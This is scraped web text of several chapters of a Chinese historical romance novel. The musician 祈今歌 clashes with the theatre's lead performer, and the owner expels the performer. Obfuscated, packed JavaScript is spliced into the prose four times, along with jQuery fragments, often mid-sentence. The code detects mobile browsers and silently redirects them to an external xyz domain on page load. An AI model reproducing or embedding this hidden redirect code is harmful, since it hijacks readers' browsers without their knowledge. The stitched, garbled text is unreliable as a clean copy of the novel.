RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457680|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，祈金歌干嘛还来百影楼做活呢？ 她来才短短半个月，竟然能把人迷得神魂颠倒，钱砸下去都不眨眼的。 但是这个神秘的金主究竟是哪一位呢？ 百影楼这些有钱的宾主他们都认识，别说没看到一个和祈今歌拉拉扯扯的，整个云州能有钱到三千两买个古琴的，那还真是屈指可数。 又比如这个金主长什么样子？ 能走这般雄厚的财力，年轻一辈的公子哥很难做到，大抵都是年岁很大的男人。 当然，不管是三十岁、四十岁甚至是五十岁的男人中，长的好看的也不是没有，但终归也是少数，岁月无情，只是再好看，又哪能有青春好看？ 如果是苍老臃肿的男人，那就与祈今歌更不相配。 由此引发的种种猜测，实在是太多太多。 王水闲也是一脸不可置信，转头看向祈今歌，道：“好姐姐！这琴，真的值三千两吗？” 祈今歌觉得头疼。 倒不是觉得林悦兮让她多丢脸，而是她发现自己好像有点腥风血雨的体质，怎么无论自己到哪都不得安宁？ 她是在红芳院长大了，那是个脂粉堆，女人间的手段说到底无非也就那些，她见多了，也看惯了，所以林悦兮在那闹脾气，直直白白地给她难堪，她反倒觉得这泼脏水的手段简单粗暴地有些可爱了。 更何况，莫种程度上来说，林悦兮也不算泼脏水。 就在不久之前，她还是殷府的一名家妓，原本就是供人取乐为生，原本就是靠人打赏过活。 林悦兮要撕开她清高的面具，祈今歌不会觉得愤怒。 至始至终，她一直都觉得自己只不过俗人一个。 于是祈今歌回了王水闲的话，道：“嗯，确实是这个价。” 王水闲惊讶地张大了嘴巴。 她心中的神仙姐姐还已经名花有主啊？ 她又继续道：“男人送的？” 话里算是好奇，全然听不出一点点鄙夷。 祈今歌点头，道：“嗯。” 祈今歌承认的颇为坦坦荡荡，丝毫没有为自己辩解的意思。 周围的人面上的表情都满是诧异。 就这么轻而易举地承认了？都不辩解一下的？ 林悦兮说了一堆话，就等着看祈今歌百口莫辩的焦急样子。 可祈今歌一开口，还是一身沉静。 反而显得她刚才急吼吼的样子更像笑话。 她不甘心，讥讽道：“你这是承认你有金主了？功夫不错吧？没睡过怎么舍得这么给你花钱？这人应该年纪不小了吧，怕是早就儿孙满堂一把年纪了，你也是缺钱缺疯了，给钱就能上！” 祈今歌看她就如看小孩子闹脾气。 更何况，他人如何看她，与自己何甘？ 所见即她，无需多言。 祈今歌不急不缓道：“悦兮姑娘，你说了这么多，无非就是想证明我也是个不干净的人，如果你想看我恼羞成怒，我想你恐怕得失望了，在我这你得不到你想要的东西。” “我从未想过要在这百影楼伪装什么。我从头到尾都是俗人一个，也要为柴米油盐发愁。不收别人的礼品，是因为我不喜欢，我收下这流霞琴，也是因为送到了我的心坎里。至于此人是何模样，是老是丑，若是我喜欢，八十岁也没问题，若是我不喜欢，二八年华又如何？” “我无需为此感到羞耻。至始至终，不是我碍了你的路，而是你清楚现在所拥有的一切都可能转瞬即逝，所以你不安又惶恐，病急乱投医，找我泄愤。既然悦兮姑娘您没有长盛不衰的道理，唯恐成为明日黄花，被他人踩在脚下，就请你平时多与人为善才是，四面树敌并无好处。” 28. 做主 林悦兮的面容彻底黑了下来。 真是牙尖嘴利！ 祈今歌这贱人平时看上去安安静静的，不怎么喜欢多说话，没想到一张嘴皮子比她还厉害？ 她在这放什么厥词？ 什么明日黄花，什么四面树敌。 有些事情，彼此之间心知肚明，懂装不懂，才能相安无事。 祈今歌竟然敢众目睽睽之下将她剖开，将她最碰不得的伤口给别人看。 林悦兮只感觉这就好比将她扒光了还要难看。 指尖握入掌心，嵌得林悦兮生疼。 可愤怒已经超过了疼痛。 人活一张脸，百影楼之中何曾有过人会这么让她颜面扫地。 祈今歌将她最为脆弱和恐惧的一面公之于众，哪里还有面子可言？ 原本看热闹的人的心也跟着提了起来。 祈今歌初来乍到，怕是不知道林悦兮的厉害。 百影楼看着风光，可是也不是什么世外桃源。 树欲静而风不止，有人的地方就是江湖，内里依旧是暗潮涌动。 两年前也曾有个年轻气盛的小丫头和林悦兮顶了几句嘴，当时闹得也不怎么好看，林悦兮就直接小手一挥，直接煽地小丫头的脸都肿了。 这还不算完，事后林悦兮还放话，要是这丫头还继续留在这，她就卷铺盖走人，逼着老东家二选一。 结果不言而喻。 毕竟打杂的丫头可以随时再找，可是百影楼赚钱的招牌可不能丢。 小姑娘挨了打，受了气，最后还得麻溜地滚开，自此以后，本来大家就不敢招惹林悦兮，后面就是更不敢了。 便是有时候对她有意见，颇有微词，也只能背后说说，明面上是不敢起冲突的。 众人心中也为祈今歌捏了一把汗。 固然祈今歌被披露有金主的事情满足了他们的好奇心，有点将她拉下神坛的意味，可这说到底都是人家的私事，又不算是什么错。 这十天半个月的相处，大部分人还是挺喜欢这个漂亮的小姑娘的，怎么着也不至于阴暗到想看她走两年前的那位小丫头的老路。 再一看林悦兮早就已经按耐不住内心的烦躁，早就已经闪到了祈今歌的面前。 她眼中燃烧着怒火，额头上青筋暴起，右手扬得高高的，猛地往祈今歌一边的脸颊砸下去。 “贱人，你敢这么和我说话，我看你是活的不耐烦了！” 她看起来气急了，声音都因为过于高昂而破了音，听起来有些嘶哑。 眼看祈今歌白皙的脸颊上就要浮现出鲜红的手指印，众人都吓了一跳。 这不和两年前的场景一模一样吗？！ 林悦兮就是这样的脾气，只有她说别人的份，哪怕是假的、子虚乌有的，你也得受着。 但是别人说她，哪怕是真的、不偏不倚的，只要不合她心意，便不能说。 俨然就是百影楼的土皇帝。 早知道有这么一出，就该劝劝祈今歌忍着便是！何苦受这一巴掌的皮肉之苦！ 见在这千钧一发之际，林悦兮的动作却戛然而止。 再一看，只见祈今歌已经一把抓住了林悦兮的手腕。 林悦兮试图挣扎，祈今歌却将抓地死死地，令她的手臂几乎动弹不得。 纤长的手指此刻不再柔若无骨，反而充满了力量，将另一只同样雪白的手臂放于自己的掌控之中。 两人陷入僵持。 “你！” 林悦兮再次吃瘪，简直要被气疯了。 这死丫头真的只有十八岁吗？ 不过是个初出茅庐的年纪，怎么这么厉害？ 她好歹也长她三四岁，阅历比她只多不少，竟然和她交锋丝毫一点优势也没有。 嘴巴上没让她占到便宜也就算了，反应还这么迅速。 简直就是活脱脱的人精一个！ 林悦兮又气又急，旁人注视的目光宛如火焰一样照射在了她的脸上，让她脸颊发烫，分外难堪。 祈今歌毕竟是活了两世的人，她在殷府度过了十年，接着在庆王府生活过五年，经历过多少风雨，她伏低做小过，也做过“当家主母”，女人间的斗争、府邸内大大小小的事务管理、从上到下的人员安排，她都见过、看过、做过，这些事点点滴滴叠加在一起，早就让她褪去了稚嫩的气度，多了一份不符合外表的沉稳。 以前她不争不抢，得饶人处且饶人，可是人善被人欺，在某些人眼里，她的和善俨然已经成了软弱无能的证明。 她早就决定过不能再惯着这些得寸进尺的人。 于她而言，林悦兮和祈明珠都是一样的人，她们的所作所为，无非都是出于内心的嫉妒罢了，都觉得是别人抢走了属于她们的东西，夺走了她们的幸福。 但这世上没有什么理所应当，也没什么东西注定就要属于他们。 甚至林悦兮的心思深沉还不及祈明珠，祈明珠是一击致命，直接要了她的命，而林悦兮无非就是小打小闹。 她已经看惯了，也有点受够了。 祈今歌看着林悦兮，微微眯了眯眼睛，道：“林悦兮，我不是你的丫鬟，你没资格打我，更不要以为你在百影楼有几分地位，就能为所欲为。” 说罢，林悦兮的手臂被猛的甩开，重心不稳，她往后踉跄了一两步后才稳住了身子。 祈今歌呼她全名，话语里是冰冷的，林悦兮从中分明听出了威胁。 一个无权无势的琴师竟然敢威胁她？ 她不应该敢到害怕的。 可是被祈今歌注视着，她竟然感觉自己好像真的置身于冰天雪地之中，被风霜冻的瑟瑟发抖，冷得她背脊发凉。 她的确害怕了。 她竟然害怕一个名声不如自己，地位不如自己，财富不如自己的女人。 这太荒谬了。 林悦兮头皮发麻，但她还是嘴硬，指着祈今歌的鼻子嚷道：“你别得意，咱俩这梁子算是结下了。我多的是办法让你滚出这里，你可等着瞧吧……” 早就看呆了眼的一群人面面相觑。 也不过就是片刻之间，就因为芝麻大的小事，祈今歌和林悦兮两人之间就演化成了你死我活的局面。 林悦兮实在是膨胀到不行，眼里完全容不得沙子，容不下别人一点不如她的意，明明是她欺人太甚，却好像别人都欠她一样，现在看她吃瘪，实在是人心大快。 至于她说的法子？ 还不是老一套，继续逼新东家继续二选一呗。 虽然按照林悦兮的说法，若是祈今歌真的找了金主，应该也是不缺钱用了，可毕竟是被扫地出门和主动离开不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457681|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事啊！ 一时间，大家都以一种同情的目光看着祈今歌。 祈今歌听到她的威胁，一点感觉都没有。 她也能猜出林悦兮所谓的手段是什么。 只不过，她这些小手段或许对别的东家有用，毕竟这世上没有几个人会和钱作对。 但是她不觉得尹长寻是这样的人。 就算关系再怎么平平，但是两人朝夕相处了五年，总是比外人更了解对方。 或许是因为厌烦皇家只见的斗争，尹长寻素来是最讨厌勾心斗角的人，无论男女。 再加上大宇国力强盛，再加上先帝在世时，厉惩贪官污吏，朝野上下俨然一片清明。 除了遇到天灾人祸，一般情况下，别说皇室贵胄不缺钱，就是普通老百姓也过得还行。 尹长寻的封地有着大宇最为肥硕的云州，那就更不缺钱了。 别人经营百影楼或许是想富上加富，但尹长寻纯属闲的没事打发时间罢了。 甚至百影楼倒闭了，对他来说也是不痛不痒。 尹长寻来百影楼，也基本只和叶威简单说几句话，院内其他的人也只是远远地看着。 百影楼内的人并不了解这位新东家的品行。 而林悦兮甚至话都没和尹长寻说过，就揣测尹长寻会和之前的东家一样，看在银子的面子上向着她。 只能说，她的如意算盘打得好，但是却打错了。 祈今歌实在是懒得和她纠缠，只想赶紧结束这场闹剧。 她刚转身离开，却听见一道低沉的男声从上方传来。 “哦？不如你和我说说，你有什么办法？” 众人听见这一声，纷纷抬起头朝着声音传来的地方看了一眼。 这一看，在场之人的脸上更是变幻莫测。 好家伙，说曹操曹操到。 林悦兮刚说要告状，东家就从楼上现了身。 尹长寻面如冠玉，负手而立，面色冷峻，但几缕碎发垂落在棱角分明的脸庞，看起来又有些桀骜。 原本就是极其完美的一张脸，现在站在高处俯视众人，更显得他高高在上，宛如天神。 而明正依旧是往日那副吊儿郎当的模样，面上正带着若隐若现的笑意。 百影楼的诸位今日唱戏时，也注意到东家和他的好朋友明正一同前来了。 可是曲终人散以后，两人便不见了踪影。 大家便理所应当地以为东家早就已经离开了。 现在看来，不光没走，极大的可能是回了自己的雅间休息去了。 甚至很有可能把方才的一出闹剧尽收眼底。 一瞬间，所有人的心都几乎要跳出了嗓子眼，要是林悦兮揪着不放，现在就让东家把祈今歌赶出去，那又该如何是好？ 甚至祈今歌也颇为意外，但并不是意外尹长寻还在百影楼，而是意外尹长寻竟然还有兴趣听她们争吵的内容？ 尹长寻自然不知道他们有多提心吊胆，玄色长袍随着他的步伐轻轻摆动，眨眼间，他和明正就已经下了楼梯，站在了众人面前。 林悦看到尹长寻，眼睛一亮，底气重新涨了回来。 她直接扭着水蛇腰走到尹长寻面前，脸上也浮现了红云，她半是羞赧，半是撒娇道：“东家！您可来了，正念着您呢！您可要为我做主啊！” 29. 滚蛋 林悦兮本就嗓音甜美，现在更加是柔的像水一样，甜的都有些发腻了。 这是她惯常和男人们说话时掐出来的声音。 她抬眸看向尹长寻，目光更显柔情。 她此刻的神态不是装出来，反而是发自内心。 说到底，在她经历过的男人之中，刘羽归已经算得上是质量上承，所以她才想把握住这个机会，给自己找个好归宿。 但是刘羽归再好，也是她在裙下之臣中反复比较以后选出来的男人，她只是觉得合适，并没有太多心动的感觉。 但是她的新东家什么都不用做，只要站在那让人远远地看瞧上一眼，便能让妙龄女子脸红心跳。 这是发自内心的心动。 她的新东家如灼灼烈阳，让人不可忽视。 他初次到来百影楼的时候，就已经几乎吸引楼内所有女子的目光，大家对这位神龙见首不见尾的东家虽然不甚了解，但是都心有好感。 谁还没在尹长寻来的时候偷偷摸摸地打量两眼？ 林悦兮也不例外。 她虽然名气大了些，可终归也是只有二十岁的女子，见的世面多了些，经历的男人多了些，心或许再不如一般的女子纯粹，可是要说多复杂也不至于。 抛去外人给她附加的光环和一些有的没的的揣测，她也只是一位正值妙龄的普通女子罢了。 尹长寻的长相远比刘羽归更合他心意，财力比刘羽归也是只强不弱，最为重要的是，新东家品行如何尚未可知，可刘羽归什么德行她该不清楚吗？ 刘羽毛归如何比得过她的新东家？ 在这半个月的日子里，她不得不再一次思考自己的出路。 曾经对她甜言蜜语的刘羽归已然把她的承诺已经抛之脑后，成为妾室的计划俨然已经成了泡影。 她的内心无疑是焦急又烦躁，但是偶尔看到尹长寻，也未免不是没有过非分之想。 可是尹长寻虽然眉梢中有些年少的不驯邪气，清冷之中还看得出几分尚且残存的稚嫩，甚至说起年纪，他还要比林悦兮小上两岁，但他浑身上下都散发出一股生人勿近的气质，足以让人不敢轻举妄动。 若是和大部分客人一样，或风流，或轻浮，她反倒有把握争一争。 但尹长寻明显与众不同。 林悦兮多年摸爬滚打的经历让她对此产生了一种直觉——如果轻举妄动，她绝对会讨不到什么好。 所以她才和别的人一样，心有躁动，到却没有行动。 不过，尹长寻虽然从头到尾没有多给她一个眼神，但是所幸也没给别人多一份偏爱。 看起来的确如她所想，是个不近美色的。 至少，没有像别的人一样，被祈今歌那张脸蛋儿所迷惑。 如今她要想让祈今歌滚出百影楼，也不用担心尹长寻袒护着这个狐媚子。 但凡有点脑子的人，就会在一个琴师和花旦之间做出明智的选择。 眼见局势越发复杂起来，原本厅堂内保持着安静的众人也是压低了生性，两两之间小声地议论了起来。 “东家怎么还在呢？这可遭了，竟然闹到东家的面前了。” “就林悦兮的性子，今天不闹大，明天也是要闹大的，她什么时候息事宁人过？得罪她的人还能待的下去吗？” “这可怎么办？又要走一个？我看小姑娘人还挺好的，还没来几天就要卷铺盖走人？” “那有什么办法？谁让林悦兮能百影楼赚钱呢？现在这祈丫头碍了人家的眼，乖乖忍着都不一定能安然无恙，她还逆着林悦兮来，林悦兮哪能放过她？两全相害取其，乐师少了大不了再招一个，当家花旦少了那得给东家造成多大的损失，你说她不走谁走。” “都是台柱子，人家李衡怎么就没她那么多事……” “嘘……小声点，别被她听到了，到时候就麻烦了。” 他们的声音虽然并不大，但是也全数落入了林悦兮的耳中。 只不过她对他们说的话并不生气，毕竟他们的言辞之中，话里话外都透漏着一个意思——那便是她林悦兮在百影楼的地位无人质疑，要谁滚蛋谁就得滚蛋。 眼下东家主动朝她答话，她干脆恶人先搞告状，赶巧不赶早，趁机将心头之患解决算了。 林悦兮浅笑嫣然道：“东家，这祈今歌初来乍到，仗着自己有几分姿色，处处和我作对。我只不过是气不过，说了她几句，让她日后收敛着做事，她却气势汹汹，咄咄逼人，反而还威胁起了人，说什么以后百影楼内有她没我，有我没她，好生的伶牙嘴俐，我不过是一介弱女子，怎么是她的对手，您可要为我做主！不然，以后我终日忧心忡忡，该能如何安心在这百影楼唱戏！” 哪怕百影楼的人相互之间大多也不是第一天认识了，算得上知根知底，但是听到这番言辞，众人都不约而同睁大了眼睛，只觉得无语至极。 不是没见过睁着眼说瞎话的。 但是能在还有十几人在场见证的情况下，说出与事实截然相反的话，也算得上本事。 今悦兮的话简直是颠倒黑白。 绕是祈今歌觉得自己已经算是见多识广，也被林悦兮的厚脸皮给震惊到了。 她抿成一条直线嘴角一抽，只觉得内心的感觉有点难以言喻。 原本气势被压了一头的王水闲也是憋不住了。 林悦兮方才说的话的确吓到她了，毕竟她的确不能轻易就失去这份来之不易的差事。 可不知为何，看到他们百影楼这位英俊潇洒的东家一出现，她的害怕又消散了。 虽然也没有什么凭据，但是她就是觉得新东家不一样，不会是那种唯利是图的人。 她相信东家能给她们做主。 于是她也迈了一步，走到了林悦兮的身边，道：“东家，您可别听她瞎说！明明是她先找茬的！我们明明都已经收拾收拾准备回家了，是她横冲直撞撞了人还不道歉，甚至还威胁我和今歌姐姐……说不听她话就要滚蛋！” 明正看这两个人针锋相对，脸上笑意更浓了。 要不怎么说三个女人一台戏呢？ 他的父亲明守义一辈子只有母亲这一个女人，所以不存在后院起火的问题。 尹长寻则是不同，他的皇帝老爹是免不了三宫六院的，对于女人之间扯头发的戏码，尹长寻从小就见怪不怪，对于这里面各自藏着什么小心思，尹长寻也不会不懂。 如今几个女人吵吵闹闹，明正见的倒是不多，偶尔碰到一回， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457682|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也觉得颇有意思。 只是他原本以为尹长寻是不爱看这种吵来吵去的戏码的，但是他竟然破天荒地透着二楼的窗户看了一会，甚至还主动下楼问了一句。 这可就有意思了。 明正年纪尚青，或许别的事情看不明白，但是他毕竟也算得上平情场老手了，男女之事他还是能瞥出点门道的。 刚刚发生了什么其实他俩都看的一清二楚，说到底，尹长寻不就是想让祈今歌主动和她张嘴说个话。 尹长寻又一次多管闲事了。 明正不怀好意，看热闹不嫌事大，趁机拱火：“哦？你们两个各执一词，咱们该听谁的？” 他观望被大堂内站着的一圈人，道：“有没有清楚情况的说说，到底是怎么回事？” 其余的人你望我、我望你，都不敢说话。 东家不表态，谁敢乱说话，要是乱出头，没帮到祈今歌留下来，自己还要被扫地出门，这个代价又是谁承担得起的？ 做好人也得惦念惦念自己几斤几两。 王水闲内心急得不行，心想这群人一个个莫非集体哑巴了不成，又不是让他们抛头颅洒热血的，说句实话都这么为难？ 林悦兮早就知道没人敢当出头鸟，扬起笑道：“明公子，还能是怎么回事？咱俩又不是第一天认识了，我还能当着您的面撒谎不成？我怎么可能还编造谎话诬陷一个新来的小姑娘呢？” 明正微微一笑，并不言语。 他对林悦兮的德行也是略有耳闻。 正是因为不是第一天认识，所以早就听闻她在百影楼欺凌霸弱的事迹了。 只不过以前明正也只不过是个宾客身份，事不关己高高挂起，这毕竟是百影楼内部的事，到底与自己无关。 但是如今林悦兮找事找到了祈今歌身上，尹长寻又对祈今歌正在兴头上，林悦兮今天能不能全身而退还真难说…… 林悦兮指着祈今歌，一幅泫然欲泣的樣子，又道：“东家，您說說，今天這事誰對誰錯？她才刚来半个月，就这么无法无天，您说说，我还待的下去吗？” 明正将目光投向尹长寻，想知道尊敬的庆王殿下准备怎么处理这事，却发现尹长寻正眼都懒得瞧面前一幅楚楚动人样的林悦兮，狭长深邃的眼眸中映入的，全部都是祈今歌的身影。 祈今歌只是同样看着尹长寻，并不言语。 她要说的话，王水闲也已经说完了，她实在是不知道还要多说些什么了。 再者，她相信尹长寻有自己的判断。 他向来不是个糊涂的人。 只是祈今歌这幅淡然的态度，在尹长寻的眼中看来，未免有些变了味。 这场闹剧的主角之一甚至不愿意为自己进行丝毫辩解。 尹长寻微微皱眉，内心不悦。 别说林悦兮，就是她身旁站着的小丫头都比她要急上几分。 她不是很需要百影楼的活计吗？怎么现在一幅无所谓的态度？连几句辩解的话的都懒得说？ 还是她有所顾忌，上次虽然稍稍松了口，依旧不想让别人知道她和他之间有所牵扯？ 想到这，尹长寻不爽起来。 他不耐烦地看了一眼林悦兮，冷冷道:“待不下去你就滚。” 30. 傻子 话音落地，在场所有人倒吸一口冷气。 面色最难看的当属林悦兮。 她绝对是听错了。 东家竟然叫她滚？ 一定是幻听。 可周围人同样惊讶的表情都在告诉自己，这位俊俏的尹东家是的确满不在乎地做出了将她扫地出门的决定。 她脸色铁青，牙齿都在打颤，一只手抬起抱住了另一只垂下的手臂，原本清脆悦耳地声音也变得哆哆嗦嗦地起来:“你……，我没听错吧，你让我滚？” 语气里的不可置信显而易见。 她几乎是抱着最后的期待，希望新东家不过是口误了。 其实他不是让自己滚，而是要让祈今歌滚，对不对？ 毕竟就如她所言，能在一个乐师和台柱子之间进行选择前者的，那一定是个傻子！ 就连祈今歌也是愣住了。 在场十几个人中，除开明正，她可以说是最了解尹长寻的人。 她知道尹长寻不会向着林悦兮。 但是她顶多想到了尹长寻懒得搭理林悦兮，懒得掺和女人间的破事，无论如何也想不到他会就这么轻易地下决定让林悦兮就此离开。 只要他说一句让两个人闭嘴，林悦兮那一哭二闹三上吊的把戏可起不了作用。 换句话说…… 尽管没有任何人能够强迫尹长寻非得做出个选择，他依旧是毫不犹豫地选择让祈今歌留下。 尹长寻道:“耳朵不好？同样的话我不喜欢说第二遍。” 原本说一次就已经足够让向来自视甚高地林悦兮颜面扫地，她怀抱期待的确认却只是让她再次自取其辱。 林悦兮哪里在男人那受过这样的侮辱，她咬紧了嘴唇，握着手臂的手掌不自觉地掐得更深。 她又是深深吸了一口气，想让自己激动地情绪平复下来，这样至少让她看起来不至于过分难堪。 可是仍旧无济于事。 林悦兮实在是受不了这样羞辱，并且看东家的脸色，甚至也无半分想要把收回的话撤回的想法。 她终于是破罐子破摔，不甘心地低吼道:“东家！您疯了吗？竟然选她不选我？！我给百影楼赚了多少钱？你以为我走了你还能有这么好的生意吗？” 尹长寻根本懒得回应她的问题，只道:我是傻子，你不知道？” 尹长寻不耐烦道:“都说让你滚了还不滚？没自尊的？” 林悦兮浑身发冷。 傻子…… 看来东家早就知道前因后果了，亲眼目睹了一切！她怎么演戏也是无济于事了！ 可要是以前，哪怕东家知道她是错的，也会向着她的！ 林悦兮仅剩的最后一点颜面终于荡然无存，她终于是气的说不出话来，狠狠地往地上跺了一脚，同时狠狠剜了祈今歌一眼，像是要把祈今歌拆骨入腹。 今天她赔了夫人又折兵，不光没把眼中钉除去，还让自己栽了个大跟头，她林悦兮二十年中就没受过这么大的委屈！ 她不相信尹东家是个傻子！ 必然是他也被祈今歌的美色所迷惑，才做出了这个糊涂的决定！ 太阳穴上的青筋突突直跳舞，林悦兮恼羞成怒，朝着祈今歌恶狠狠道:“你给我等着！” 随即冲出了百影楼的大门，扬长而去。 原本闹到不可开交的纷争，就被尹长寻以这样简单粗暴的手段解决了。 一时间，所有人都感觉恍然若梦。 王水闲最是憋不住:“东家！您可真是太英明神武了！我就知道您不会信林悦兮说的话，一听就是假的！今歌姐姐怎么可能去欺负她呢？！” 明正摇摇头，心道这姑娘真是傻的可爱。 这个信不信压根没一毛钱关系。 之前林悦兮能逼走其他人，也并不是以前的东家就一定就信了林悦兮的话，而是不得不做出最能保证利益的抉择。 在这样的考量下，哪怕明白林悦兮再给别人泼脏水，他们也只会看破不说破。 林悦兮是个聪明人，她明白自己的价值，事实也证明，她这一招是百试百灵。 过去的几年中，让她不爽的人不仅得滚得远远地，再也不能在她的视线中碍眼，也对百影楼中其他人形成了威慑，让他们一群人敢怒不敢言。 所以刚刚明正出声询问，他们才会默不作声。 叶兴却没有王水闲那么高兴。 按理说，林悦兮看人下菜，持枪凌弱，还看不起他们这群地位不如她的同僚，如今她已经被东家赶了出去，百影楼的人应该高兴才是。 甚至包括叶兴也没少受过她的气，可他一点也不觉得大快人心。 他又不是三岁小孩，到底也是出来混了几年了，本事虽然不一定长进了多少，但是跟着叔叔叶威身边干活，他明白了不少道理。 百影楼从杂役到乐工，和唱戏的之间都是一荣俱荣，一损俱损的关系。 只有院里生意好了，百影楼才能一直开下去，他们也才能一直有活干，否则一旦关门大吉，他们还得另谋生路。 而林悦兮无疑就是百影楼能生意爆满的重要原因之一。 因此就算叶兴再不喜欢她，也是希望她能留下的。 叶兴知道新东家大抵是个不差钱的主，哪怕百影楼真的门庭冷落了，可能造成的损失可能都不会让他眨个眼。 但是百影楼的兴衰可关系着他们这些普通人的生存。 林悦兮一走，也不知道能对生意造成多大的冲击，如果形势糟糕，他们这群在这里讨生活的人到时候又得四处奔波了。 因此叶兴吞了吞唾沫，有些惴惴不安地问:“东家，就这么让悦兮姑娘走了吗？那咱们后面地演出可咋办……” 周围的人听了这话，也你一言我一语地小声议论了起来？ “这么一折腾，怕是生意不能比以前了。” “怎么着，没了她林悦兮，咱们百影楼还开不下去了不成？” “对啊，难道咱们这么大个戏园子，还得一直管着她为虎作伥吗？” “开是开的下去，毕竟李衡可不比他差，但是生意肯定会受影响，退一万步不就是咱们受影响吗？就是林悦兮日后肯定要去别的地方吧？这不是给对手送了份大礼吗！” “你们也是奇怪，以前的东家一向向着林悦兮，大伙儿没少受气，巴不得有人能收拾她，让她别这么嚣张，现在好不容易釜底抽薪，再也不用看她脸色过活，人家才走多久，你们这反倒是不舍了。” 明正环视一周，随后朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明正摊手，无可奈何道:“好吧好吧，这事又落我身上了。” 尹长寻的话不止让明正放了心，更让原本还提心吊胆着的众人消除了顾虑。 以后既不同再面对林悦兮的仗势欺人，又不用担心生计受到影响，真是一举两得。 他们发自真心地觉得新东家好得不得了。 一时间，他们几乎是异口同声地发起了赞美。 “东家英明！” “我就知道东家早就有应对之策！” 甚至还有人鼓起了掌，生怕这马屁拍的不够响。 只不过尹长寻听到这话心里并不觉得舒坦。 他马屁听得多了，对于眼前这群伙计口中称得上朴实无华的赞美并没有什么波动。 最为重要的是，祈今歌从他现身开始，到现在也没说一句话，反而是微微垂着眼眸，神情无波无澜，仿佛一切和自己无关的样子。 她不想在众人面前和尹长寻扯上关系，尹长寻偏不如他的愿。 尹长寻朝祈今歌勾了勾手指，道:“你跟我过来，我有些话交代你。” 这话说得颇为公事公办，俨然是一幅成熟的东家做派。 就连祈今歌听了，也松了一口气。 上次分别以后，她很怕尹长寻会在众人面前给与自己于总不同的待遇，哪怕这种优待不会给她带来麻烦，甚至是出于帮助她的目的，但是无疑会打破她平静的生活。 但是此刻尹长寻的话语没有掺杂一丝起于的情感。 别说他人，就连她自己也认为，他是真的要因为刚才发生的事提点她。 于是她点了点头，跟着尹长寻上了二楼。 31. 公正 两人一同上楼去了二楼的雅间。 明正很有眼色地没有跟上去，先行一步离开了。 聚集了好半天的大伙儿只觉得东家喊祈今歌上去是为了交代刚才发生的事，所以并不觉得奇怪。 热闹看够了，时辰也不早了，家还是要回的。 于是众人做鸟兽散，头脑中回味着刚才的跌宕起伏，一个皆一个出了大门。 等两人都在雅间落了座，尹长寻看着面前的祈今歌，道：“知道我叫你来干什么吗？” 祈今歌摇了摇头。 尹长寻歪了歪脑袋，接着问:“没话和我说？” 怎么说他也给她解决了一个难题，让她以后不再被那名叫林悦兮的女子为难，她怎么一句话都没有？ 虽然的确是他自己心甘情愿出手，也是他自己见不得别人对她出言不逊。 他倒不是指望祈今歌多感谢自己，多说几句话都不行？ 明明刚刚对着林悦兮倒是口若悬河，怎么面对他就成了哑巴？ 祈今歌余光偷偷观察尹长寻的神色，面上不动声色。 但是她心里却清楚，尊贵的庆王殿下面上风轻云淡，看起来毫不在乎的样子，实际上十有八九已经不满她又开始沉默了。 这辈子遇到尹长寻以后，他的所作所为都和记忆中的他大相径庭。 前世的尹长寻大抵也是对自己感兴趣的，不然不可能众多的女人之中，是她和祈明珠最终踏入了庆王府，可是这份兴趣并不浓厚，他是冷静的、自持的，五年的时光，祈今歌没有见过他孩子气的一面。 所以导致她忘了，她和尹长寻初遇之时，他也不过才刚刚十八岁而已。 这一世，尹长寻还是对她有兴趣，却表现出了截然不同的一面。 祈今歌能够感受到他的不满、任性，感受到他每一次闹脾气。 仿佛和上一世换了一个人一般。 在这份变化中，祈今歌也知道，尹长寻远比上一世在乎自己的多。 于是她似笑非笑，回道：“王爷，明明你叫我过来，却问我知不知道是什么原因，那我也只能大胆猜一猜，刚刚王爷帮我说了话，让我摆脱了困局，我大概是要谢一句王爷的。” 大概？ 尹长寻微微挑眉，等着祈今歌接着往下说。 祈今歌继续道：“只不过我却觉得，谢谢这两个字，是不用从我嘴里说出的。” 尹长寻本就不是真的要从祈今歌口中听什么感激之语，只不过他很乐意就着这个话题和祈今歌聊些有的没的。 于是他挑眉，道：“哦？为何？” 祈今歌笑笑，道：“若我谢谢王爷，那便是认为王爷纯粹是因为我的缘故才将林悦兮赶了出去，这便成了王爷偏爱于我，做出了不公正的决断。” “可是依我浅见，就算今日不是我，换了他人，王爷也是容不得这样的人在自己管辖的地方胡作非为的。我想，王爷您并非是因为我而如此，而是您的性子使然，任何一人处在我的绝境下，您不会护着林悦兮。” “既然您是出于公正而做出的决定，那便是理所当然，因此我不谢，才显得对王爷您是发自心底的敬佩。” 尹长寻终于是摇着头笑了起来，道：“你这话倒是说的好听，在你口中，我倒是个青天大老爷了。” 